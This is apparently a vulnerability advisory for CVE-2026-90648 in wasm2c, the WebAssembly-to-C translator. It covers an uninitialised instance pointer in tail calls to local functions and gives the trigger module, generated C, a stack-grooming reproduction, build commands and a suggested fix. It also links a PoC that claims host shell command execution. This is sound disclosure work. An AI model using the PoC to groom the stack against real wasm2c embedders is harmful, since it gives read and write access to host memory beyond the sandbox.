(CVE-2026-90648) vulnerability in wasm2c: tail call to a local function uses an uninitialised module instance pointer
Shell PoC
PoC added for executing an arbitrary shell command on the host https://github.com/trustsig-eu/wasm2c-tableflip
Summary
CWriter::Write(const ReturnCallExpr&) in src/c-writer.cc emits a tail-call
trampoline whose instance pointer slot is only assigned when the call target is an
import:
/* src/c-writer.cc:4344 */
Write("next->fn = ", TailCallRef(func.name), ";", Newline());
if (IsImport(func.name)) {
Write("*instance_ptr = instance->",
GlobalName(ModuleFieldType::Import,
import_module_sym_map_.at(func.name)),
";", Newline());
}
DropTypes(num_params);
FinishReturnCall();FinishReturnCall() then runs the trampoline loop
(while (next->fn) { next->fn(instance_ptr, tail_call_stack, next); }), and every
tail-callee begins with w2c_mod* instance = *instance_ptr;. When the target is a
local function, nothing ever writes that slot, so the callee adopts whatever the C
stack happened to contain and uses it as the module instance for globals, memory and
tables.
The declaration is uninitialised by construction:
/* src/c-writer.cc:3140 */
void CWriter::WriteTailCallStack() {
Write("void *instance_ptr_storage;", Newline());
Write("void **instance_ptr = &instance_ptr_storage;", Newline());
...return_call_indirect is not affected: it always writes
*instance_ptr = <table>.data[i].module_instance;. Nested tail calls from inside a
tail-callee are not affected either, since in_tail_callee_ suppresses
WriteTailCallStack() and the incoming instance_ptr parameter is reused.
Trigger
A return_call whose target is
- a function defined in the same module (not an import), and
- a function that itself performs a tail call, so that
func.features_used.tailcallis set and wasm2c takes the trampoline path rather than degrading to a plain call.
Module (poc/tailcall-uninit/poc.wat):
(module
(memory (export "mem") 1)
(global $g (export "g") (mut i32) (i32.const 0))
(func $c (result i32) global.get $g)
(func $b (result i32) return_call $c)
(func (export "a") (result i32) return_call $b))Generated by the released 1.0.41 wasm2c --enable-tail-call:
{
void *instance_ptr_storage; /* never written */
void **instance_ptr = &instance_ptr_storage;
char tail_call_stack[1024];
wasm_rt_tailcallee_t next_storage;
wasm_rt_tailcallee_t *next = &next_storage;
next->fn = wasm_tailcall_w2c_poc_f1;
while (next->fn) { next->fn(instance_ptr, tail_call_stack, next); }
}and
void wasm_tailcall_w2c_poc_f1(void **instance_ptr, void *tail_call_stack, wasm_rt_tailcallee_t *next) {
w2c_poc* instance = *instance_ptr; /* uninitialised */
...Reproduction
Without any stack preparation the slot holds leftover data and the module faults:
[dbg] slot at 0xffffd9eeda78 holds 0x1
call trapped: 10The value is not fixed, it is whatever the C stack holds. poc/tailcall-uninit/main.c
fills that stack region with a pointer to a second, attacker-chosen w2c_poc struct
before calling the export:
real instance = 0xaaaad5a800e8 (global = 0x11111111)
fake instance = 0xaaaad5a80128 (global = 0x00c0ffee)
groomed stack range 0xffffcaf51d50 .. 0xffffcaf61d48
a() = 0x00c0ffee -> READ THROUGH ATTACKER-SUPPLIED INSTANCE POINTERThe module returned the fake instance's global, so the generated code resolved
global.get against a pointer supplied through stack contents rather than against the
instance the embedder passed in.
Build:
wat2wasm --enable-tail-call poc.wat -o poc.wasm
wasm2c --enable-tail-call poc.wasm -o poc.c
clang -O1 -g -I wasm2c -I . poc.c main.c \
wasm2c/wasm-rt-impl.c wasm2c/wasm-rt-mem-impl.c \
wasm2c/wasm-rt-exceptions-impl.c -o poc -lm
./pocImpact
The instance pointer is the base for everything the sandbox owns: instance->w2c_gN
for globals, (&instance->w2c_mem)->data for the linear memory base, and the table
structs. Controlling it means the generated code reads its memory base from a
location of the attacker's choosing, which is a read and write primitive over the
whole host address space.
The pointer comes from uninitialised stack memory. In this PoC the C driver stages the
value, which models an embedder whose stack contents an attacker can influence. Within
a pure guest-only threat model the guest still controls a large part of that stack
through its own earlier calls (each wasm2c function frame, spilled locals, and the
1 KiB tail_call_stack scratch buffer live in the same region), so treating the value
as attacker-influenced is the safe assumption. Even in the least favourable case the
result is a wild-pointer dereference from untrusted input.
CWE-457 (use of uninitialised variable) leading to CWE-824 / CWE-787.
Affected versions
Present since tail-call support landed in commit 6e350ee1 (#2272, 2023-10-24), first
released in 1.0.34. Confirmed with the released 1.0.41 wasm2c and 1.0.41 runtime,
and on current main. Requires --enable-tail-call; tail calls are a standardised
WebAssembly feature, not an experimental proposal.
Suggested fix
Write the instance pointer in the local-target case too:
Write("next->fn = ", TailCallRef(func.name), ";", Newline());
if (IsImport(func.name)) {
Write("*instance_ptr = instance->",
GlobalName(ModuleFieldType::Import,
import_module_sym_map_.at(func.name)),
";", Newline());
} else {
Write("*instance_ptr = instance;", Newline());
}Initialising instance_ptr_storage at its declaration in WriteTailCallStack() would
also remove the uninitialised read, but the assignment at the call site is the one that
makes the value correct.
Source: WebAssembly/wabt